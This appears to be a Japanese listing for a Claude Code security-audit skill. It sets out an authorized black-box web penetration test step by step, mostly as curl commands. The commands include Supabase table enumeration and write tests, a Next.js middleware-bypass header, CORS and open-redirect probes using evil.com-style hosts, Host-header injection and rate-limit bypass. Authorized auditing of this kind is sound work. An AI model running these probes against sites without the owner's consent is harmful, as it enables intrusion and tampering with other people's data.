web-security-audit について
web-security-audit は、明示的な許可を得たサイトを対象に、記載された OWASP Top 10 2025 と PTES の手法に沿って外部から検査するスキルです。複数の Web スタックを扱い、スペイン語の HTML レポートを作成します。
主な機能
- 01事前に許可と検査範囲を確認
- 02セキュリティヘッダー、DNS、サイトパスを検査
- 03JavaScript 内の露出した秘密情報を検索
- 04スタック別のセキュリティ検査を実施
- 05スペイン語の HTML レポートを作成
活用シーン
- 01許可を得たサイトのセキュリティ設定監査
- 02フロントエンド資産に含まれるキーの確認
- 03Supabase やフレームワーク固有のリスク調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ angelapaia/ web-security-audit-skill --skill web-security-auditインストール後、Claude Code で/web-security-auditを入力して読み込まれたか確認します。
詳細
Web Security Audit — プロフェッショナルなブラックボックス・ペネトレーションテスト
OWASP Top 10 2025、PTES、および本番環境での実際のペネトレーションテスト経験(Frontera、Tripath)に基づく外部向けセキュリティ監査です。Next.js、React、Vue、WordPress、Django、Rails、Laravel、その他あらゆる最新のウェブスタックに対応しています。プロフェッショナルなスペイン語のHTMLレポートを生成します。
コンテキストと重要性
最新のウェブサイトは広大な攻撃対象領域を抱えています。公開 API、RLS の設定ミスがあるデータベース、セキュリティヘッダーの欠如、人気フレームワークの CVE などです。基本的な知識があり curl を使える攻撃者なら、こうした脆弱性を数分で悪用できます。このスキルは、プロのペネトレーションテスターが実施する作業を、再現可能かつ文書化された形式で体系化します。
実行フロー
フェーズ 0:認可(必須)
テストを開始する前に、ユーザーに以下を確認します。
- URL を監査するための所有者の許可を得ていること
- 制約(アカウントを作成しない、本番環境に触れない、など)
- レポートの言語(デフォルト:スペイン語)
明示的な許可がない場合は、実行しないでください。
フェーズ 1:偵察
Bash を使い、4 つのサブフェーズを並行して実行します。
1A — セキュリティヘッダー:
curl -sI "https://TARGET"
ヘッダーのチェックリスト(欠落している項目はそれぞれ指摘事項です)。
| ヘッダー | 期待値 | 欠落時の重大度 |
|---|---|---|
| Strict-Transport-Security | max-age>=31536000; includeSubDomains | 中 |
| Content-Security-Policy | unsafe-inline を含まない、制限的なポリシー | 高 |
| X-Frame-Options | DENY(SAMEORIGIN = 中) | 中 |
| X-Content-Type-Options | nosniff | 低 |
| Referrer-Policy | strict-origin-when-cross-origin、またはそれより制限的 | 低 |
| Permissions-Policy | camera、microphone、geolocation をブロック | 低 |
| X-Powered-By | 存在してはならない | 高(情報漏えい) |
| Server | 正確なバージョンを公開してはならない | 低 |
1B — スタックの検出:
PAGE=$(curl -s "https://TARGET")
# Detectar frameworks
echo "$PAGE" | grep -oiE '(_next/|__next|nuxt|vue|angular|react|svelte|gatsby|remix|astro|wordpress|wp-content|wp-includes|django|laravel|rails|flask|express)' | sort -u
# Scripts externos (tracking, analytics, APIs)
echo "$PAGE" | grep -oE 'https?://[^"'\''> ]+\.js' | sort -u
# Buscar Supabase, Firebase, Stripe, etc.
echo "$PAGE" | grep -oiE '(supabase|firebase|googleapis|stripe|algolia|sentry|mixpanel|amplitude|segment|intercom|crisp|hubspot)' | sort -u
1C — DNS とインフラストラクチャ:
dig TARGET A +short
dig TARGET MX +short
dig TARGET TXT +short
dig TARGET NS +short
# Detectar CDN (Cloudflare, Vercel, etc.)
1D — robots.txt と sitemap:
curl -s "https://TARGET/robots.txt"
curl -s "https://TARGET/sitemap.xml" | head -50
フェーズ 2:JavaScript 内のシークレット検索
クライアント側の JS バンドルには、API キー、データベース URL、トークンが含まれていることがよくあります。攻撃者が最初に確認する項目です。
# Descargar todos los chunks JS
CHUNKS=$(curl -s "https://TARGET" | grep -oE '(src="|href=")[^"]*\.js' | sed 's/src="//;s/href="//' | sort -u)
mkdir -p /tmp/audit_js
for chunk in $CHUNKS; do
fname=$(basename "$chunk" | head -c 50)
curl -s "https://TARGET${chunk}" > "/tmp/audit_js/${fname}" 2>&1
done
ダウンロードしたファイル内で検索するパターン:
# Supabase / Firebase keys
grep -rhoiE 'eyJ[A-Za-z0-9_/+-]{30,}' /tmp/audit_js/ | sort -u
grep -rhoiE 'sb_publishable[A-Za-z0-9_-]+' /tmp/audit_js/
grep -rhoiE 'AIza[A-Za-z0-9_-]{35}' /tmp/audit_js/ # Firebase
grep -rhoiE 'sk_live_[A-Za-z0-9]{20,}' /tmp/audit_js/ # Stripe secret
grep -rhoiE 'pk_live_[A-Za-z0-9]{20,}' /tmp/audit_js/ # Stripe public
# URLs internas
grep -rhoiE 'https?://[a-z0-9.-]+\.(supabase\.co|firebaseio\.com|firebaseapp\.com)' /tmp/audit_js/ | sort -u
# Env vars
grep -rhoiE 'NEXT_PUBLIC_[A-Z_]+' /tmp/audit_js/ | sort -u
Supabase の JWT が見つかった場合は、デコードしてプロジェクト参照を取得します。
echo "JWT_TOKEN" | cut -d. -f2 | python3 -c "import sys,base64,json; p=sys.stdin.read().strip(); p+='='*(-len(p)%4); print(json.dumps(json.loads(base64.urlsafe_b64decode(p)),indent=2))"
フェーズ 3:ルートの列挙
シェルでのエスケープの問題を避けるため、外部スクリプトを使います。
cat > /tmp/audit_routes.sh << 'SCRIPT'
#!/bin/bash
TARGET=$1
for path in /admin /login /register /signup /api /api/auth /api/auth/callback /api/users /api/admin /api/admin/users /api/rooms /api/bookings /api/payments /api/webhooks /api/stripe /api/contact /api/newsletter /dashboard /panel /perfil /profile /account /settings /checkout /booking /reserva /mis-reservas /.env /.env.local /.env.production /.git/config /.git/HEAD /graphql /swagger /api-docs /health /status /_next/data /debug /info /wp-admin /wp-login.php /wp-json /xmlrpc.php /phpmyadmin /adminer /server-status /server-info; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${TARGET}${path}")
if [ "$code" != "404" ] && [ "$code" != "000" ]; then
echo " ${path} -> HTTP ${code}"
fi
done
SCRIPT
chmod +x /tmp/audit_routes.sh
bash /tmp/audit_routes.sh "TARGET"
結果を分類します。
- 認証が必要なはずのルートが 200 を返す = 高
- 管理者向けルートにアクセスできる = 重大
- .env、.git にアクセスできる = 重大
- 認証なしで API エンドポイントにアクセスできる = 高
フェーズ 4:Supabase の詳細監査
フェーズ 2 で Supabase が検出された場合のみ実行します。変数を定義します。
SUPA_URL="https://PROJECT_REF.supabase.co" # o custom domain
ANON_KEY="eyJ..." # del JS
4.1 — エラーのヒントを使ったテーブルの列挙:
for tbl in users profiles public_users community_profiles rooms listings bookings reservations payments transactions properties apartments tenants landlords owners contracts messages chats notifications reviews verifications documents invoices blog_posts leads contacts waitlist settings admins; do
result=$(curl -s "${SUPA_URL}/rest/v1/${tbl}?limit=1" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}")
if echo "$result" | grep -q "PGRST"; then
hint=$(echo "$result" | grep -oE '"hint":"[^"]*"' | head -1)
[ -n "$hint" ] && echo " ${tbl}: NO EXISTE ${hint}"
elif echo "$result" | grep -q "permission denied\|row-level security"; then
echo " ${tbl}: PROTEGIDA (RLS activo) ✓"
elif echo "$result" | grep -q "restricted"; then
echo " ${tbl}: PROYECTO SUSPENDIDO/RESTRINGIDO"
elif [ "$result" = "[]" ]; then
echo " ${tbl}: ACCESIBLE (vacia)"
else
echo " ${tbl}: *** ACCESIBLE CON DATOS *** — $(echo "$result" | wc -c) bytes"
fi
done
4.2 — アクセス可能な各テーブルのレコード数を確認:
curl -s "${SUPA_URL}/rest/v1/TABLE?select=id" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Prefer: count=exact" -H "Range: 0-0" -I | grep -i content-range
4.3 — 書き込みテスト(INSERT/UPDATE/DELETE):
# INSERT — usar datos dummy
curl -s -X POST "${SUPA_URL}/rest/v1/TABLE" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Content-Type: application/json" -H "Prefer: return=minimal" \
-d '{"test_field":"SECURITY_AUDIT_TEST"}'
# Si funciona = CRITICO. Intentar DELETE inmediato para limpiar.
# UPDATE — cambiar campo de un registro conocido
curl -s -X PATCH "${SUPA_URL}/rest/v1/TABLE?id=eq.KNOWN_ID" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Content-Type: application/json" -d '{"field":"AUDIT_TEST"}'
# Si funciona = CRITICO. REVERTIR inmediatamente.
4.4 — 公開されている認証設定:
curl -s "${SUPA_URL}/auth/v1/settings" -H "apikey: ${ANON_KEY}"
以下を確認します。
disable_signup: false+ クローズドなプラットフォーム = 高(意図しないサインアップの開放)mailer_autoconfirm: true= 高(メール確認なしのアカウント)- 想定外の OAuth プロバイダー = 中
4.5 — サインアップ開放テスト:
curl -s -X POST "${SUPA_URL}/auth/v1/signup" \
-H "apikey: ${ANON_KEY}" -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"AuditTest2026!"}'
UUID を含む user オブジェクトが返される = 高(誰でもアカウントを作成可能)
4.6 — ストレージバケット:
curl -s "${SUPA_URL}/storage/v1/bucket" -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}"
# Para cada bucket encontrado, intentar listar archivos:
curl -s "${SUPA_URL}/storage/v1/object/list/BUCKET_NAME" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Content-Type: application/json" -d '{"prefix":"","limit":20}'
4.7 — RPC 関数:
for fn in get_users get_all_users admin_get_users export_users get_user_emails list_users get_members get_subscribers get_leaderboard get_user_tier; do
result=$(curl -s -X POST "${SUPA_URL}/rest/v1/rpc/${fn}" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Content-Type: application/json" -d '{}')
echo " rpc/${fn}: $(echo "$result" | head -c 150)"
done
フェーズ 5:Next.js 固有のテスト
Next.js が検出された場合のみ実行します。
5.1 — Middleware バイパス CVE-2025-29927(重大、CVSS 9.1):
# Comparar respuesta normal vs con header de bypass
NORMAL=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin")
BYPASS=$(curl -s -o /dev/null -w "%{http_code}" -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" "https://TARGET/admin")
echo "Normal: $NORMAL | Bypass: $BYPASS"
# Si NORMAL=307/401 pero BYPASS=200 → CRITICO (CVE confirmada)
# Si ambos son 200 → la ruta no tiene middleware (problema diferente)
次のバリエーションをテストします:middleware、src/middleware、pages/_middleware
5.2 — RSC データ漏えい:
RSC=$(curl -s "https://TARGET" -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%5D")
# Buscar datos sensibles en el payload
echo "$RSC" | grep -oiE '(email|password|secret|token|apikey|phone|dni|iban|credit|ssn)' | sort -u
# Probar en rutas protegidas tambien:
curl -s "https://TARGET/dashboard" -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%7D%5D%7D%5D"
5.3 — Server Actions:
curl -s -X POST "https://TARGET" -H "Next-Action: 0000000000" -H "Content-Type: text/plain" -d '[]'
# "Server action not found" = endpoint existe (info disclosure menor)
5.4 — Source Maps:
for chunk in $(curl -s "https://TARGET" | grep -oE '/_next/static/chunks/[^"]+\.js' | sort -u); do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${chunk}.map")
[ "$code" = "200" ] && echo " SOURCE MAP EXPUESTO: ${chunk}.map"
done
Source map にアクセスできる = 中(元のソースコードが公開される)
フェーズ 6:WordPress 固有のテスト
WordPress が検出された場合のみ実行します。
# Version de WP
curl -s "https://TARGET" | grep -oE 'content="WordPress [0-9.]+"'
curl -s "https://TARGET/wp-json/" | head -c 200
# xmlrpc activo (bruteforce vector)
curl -s -X POST "https://TARGET/xmlrpc.php" -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# Users enumeration
curl -s "https://TARGET/wp-json/wp/v2/users"
curl -s "https://TARGET/?author=1" -o /dev/null -w "%{redirect_url}"
# Login bruteforce protection
curl -s -X POST "https://TARGET/wp-login.php" -d "log=admin&pwd=wrongpass"
フェーズ 7:CORS
# Reflected origin (CRITICO si refleja con credentials)
curl -sI "https://TARGET" -H "Origin: https://evil-attacker.com" | grep -i "access-control"
# Null origin (exploitable via sandboxed iframe)
curl -sI "https://TARGET" -H "Origin: null" | grep -i "access-control"
# Subdomain wildcard
curl -sI "https://TARGET" -H "Origin: https://anything.TARGET" | grep -i "access-control"
# Prefix/suffix bypass
curl -sI "https://TARGET" -H "Origin: https://TARGET.evil.com" | grep -i "access-control"
API(Supabase など)がある場合は、それらのエンドポイントでも CORS をテストします:
- API の
access-control-allow-origin: *= 高 - Origin が反映され、
Access-Control-Allow-Credentials: trueがある = 重大
フェーズ 8:認証とセッション
# Cookies
curl -sI "https://TARGET" | grep -i "set-cookie"
# Cada cookie debe tener: Secure, HttpOnly, SameSite=Strict|Lax
# Open redirect
for param in redirect url next return_to redirect_uri callback goto dest; do
loc=$(curl -s -o /dev/null -w "%{redirect_url}" "https://TARGET/login?${param}=https://evil.com")
[ -n "$loc" ] && echo "OPEN REDIRECT: ${param} -> ${loc}"
done
# Password reset host injection
curl -s -X POST "https://TARGET/api/auth/reset-password" \
-H "Host: evil.com" -H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
フェーズ 9:HTTP メソッドとエラーハンドリング
# Metodos HTTP peligrosos
for method in OPTIONS TRACE PUT DELETE PATCH; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "https://TARGET/")
echo " ${method}: HTTP ${code}"
done
# TRACE 200 = MEDIO, PUT/DELETE 200 inesperado = ALTO
# Error handling — provocar errores y buscar info leaks
curl -s "https://TARGET/api/users/undefined"
curl -s -X POST "https://TARGET/api/contact" -H "Content-Type: application/json" -d '{"invalid":'
# Stack traces, paths internos, versiones = MEDIO
フェーズ 10:レート制限
# Test basico — 20 peticiones rapidas
for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code} " "https://TARGET/"
done
echo ""
# Si todos 200 = sin rate limiting = ALTO
# Bypass via X-Forwarded-For
for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{http_code} " -H "X-Forwarded-For: 10.0.0.${i}" "https://TARGET/api/users"
done
フェーズ 11:Cloudflare/CDN のバイパス
Cloudflare または他の CDN が検出された場合のみ実施します。
# Buscar IP real via registros MX
dig MX TARGET +short
# Subdominios no proxied
for sub in mail ftp cpanel direct api staging dev test; do
ip=$(dig +short ${sub}.TARGET 2>/dev/null)
[ -n "$ip" ] && echo " ${sub}.TARGET: ${ip}"
done
# Certificate Transparency logs
curl -s "https://crt.sh/?q=%25.TARGET&output=json" | python3 -c "import sys,json; [print(x['name_value']) for x in json.load(sys.stdin)]" 2>/dev/null | sort -u
フェーズ 12:機密ファイル
cat > /tmp/audit_files.sh << 'SCRIPT'
#!/bin/bash
TARGET=$1
for path in .env .env.local .env.production .env.development .git/config .git/HEAD .DS_Store wp-config.php server-status server-info debug info package.json composer.json Dockerfile docker-compose.yml .dockerignore backup.sql dump.sql database.sql db.sql; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${TARGET}/${path}")
if [ "$code" != "404" ] && [ "$code" != "000" ]; then
echo " ${path}: HTTP ${code}"
fi
done
SCRIPT
bash /tmp/audit_files.sh "TARGET"
HTML レポートの生成
すべてのフェーズが完了したら、以下の形式で HTML ファイルを生成します。HTML は純粋な CSS を使用し、JavaScript は使わず(WhatsApp/Telegram に対応)、ダークテーマにしてください。
レポートの構成:
- ヘッダー — 日付、対象(URL)、全体的な重大度、監査担当者名
- スコアカード — 4 枚のカード:重大、高、中、問題なし(件数付き)
- エグゼクティブサマリー — 技術的でない表現による 2~3 文。赤いグラデーションの背景
- たとえ話 — 建物やホテルなどにたとえて、発見事項を説明する青いブロック。ビジネスの種類に合わせてたとえ話を調整
- 技術情報 — スタック、ドメイン、DB、CDN、発見されたキーを含む表
- 重大な脆弱性 — 赤い枠線(#ff4444)のカード。それぞれに、説明的なタイトル、平易な表現による説明、
<pre>ブロック内の概念実証、推奨される修正を含める - 高リスクの脆弱性 — オレンジ色の枠線(#ff8c00)のカード。同じ構成
- 中リスクの脆弱性 — 黄色の枠線(#f5a623)のカード
- 問題のない項目 — 合格した項目を緑色の背景(#00c853)で示す表
- ペネトレーションテストの結果 — 攻撃 | 結果 | 重大度(バッジ)の概要表
- 再現コマンド — 展開可能な
<details><summary>ブロック - アクションプラン — 色付きドットのタイムライン:赤=今すぐ、オレンジ=今日、黄色=今週、灰色=公開前
- 法的影響 — 該当する場合は RGPD、LOPD、ePrivacy。対象の国に合わせて調整
- フッター — 「CONFIDENCIAL」、監査担当者、日付
CSS の基本スタイル:
- 背景:
#0a0a0a、テキスト:#e0e0e0 - 重大:
#ff4444、高:#ff8c00、中:#f5a623、問題なし:#00c853 - Code/pre:フォント
SF Mono, Fira Code, monospace、背景#1a1a1a - 最大幅:900px、モバイル対応
- バッジは
border-radius 20pxとし、重大度に応じた色を使用
保存先:
- クライアントのプロジェクトがある場合:
~/Desktop/Empresa/SolutechIA/clientes/[CLIENTE]/ - ない場合:ユーザーの現在のディレクトリ
- ファイル名:
auditoria-seguridad-[dominio]-[YYYY-MM-DD].html
重大度の表
| 発見事項 | 重大度 |
|---|---|
| 認証なしで公開されたデータベース(RLS 無効) | 重大 |
| 他のユーザーのデータの変更/削除 | 重大 |
| 有料コンテンツへの公開アクセス | 重大 |
| ミドルウェアのバイパス(CVE-2025-29927) | 重大 |
| Service role key が JavaScript で公開されている | 重大 |
| SQL インジェクションの確認 | 重大 |
.env または .git に公開アクセス可能 | 重大 |
| 意図しないサインアップの開放 | 高 |
| 認証なしで保護されたルート(/admin、/dashboard)にアクセス可能 | 高 |
| Content-Security-Policy がない | 高 |
| レート制限がない | 高 |
| Origin の反映と credentials を伴う CORS | 高 |
| x-powered-by / Server のバージョンが公開されている | 高 |
| 認証設定が公開されている(settings endpoint) | 高 |
| xmlrpc.php が有効(WordPress) | 高 |
| REST API 経由での WP ユーザー列挙 | 高 |
| credentials を伴わない CORS ワイルドカード | 中 |
| X-Frame-Options が DENY ではなく SAMEORIGIN | 中 |
| Cookie の同意なしでのトラッキング(Facebook Pixel など) | 中 |
| ファイルを一覧表示できる公開 Storage バケット | 中 |
| ソースマップが公開されている(.js.map にアクセス可能) | 中 |
| エラーハンドリングで内部情報が漏えいする(スタックトレース) | 中 |
| HSTS がない | 中 |
| Server Action エンドポイントが発見された | 中 |
| 想定外のルートで PUT/DELETE が 200 を返す | 中 |
| Server ヘッダーで正確なバージョンが判明する | 低 |
| 外部サービスのプレースホルダー画像 | 低 |
監査の倫理ルール
これらのルールがあるのは、セキュリティ監査を無責任に実施すると、実害をもたらす可能性があるためです。これらを守ることで、監査担当者とサイト所有者の双方を保護できます。
- 最小限の概念実証のみ — 脆弱性の存在を確認する以上の悪用は行わない
- 監査中に行った変更は直ちに元に戻す(UPDATEが機能した場合は、元の値に復元する)
- 実在するアカウントは作成しない — @nonexistent-domain.invalid のメールアドレスを使用する
- ユーザーの実際の個人データを持ち出したり、保存したりしない
- サービス拒否攻撃や、過度に負荷の高いテストを実施しない
- 再現できるよう、各手順を記録する
- 重大な問題が見つかった場合は、直ちに所有者へ報告する
- 報告書は機密情報であり、許可された所有者のみを対象とする
- 終了時に一時ファイルを削除する:
rm -rf /tmp/audit_*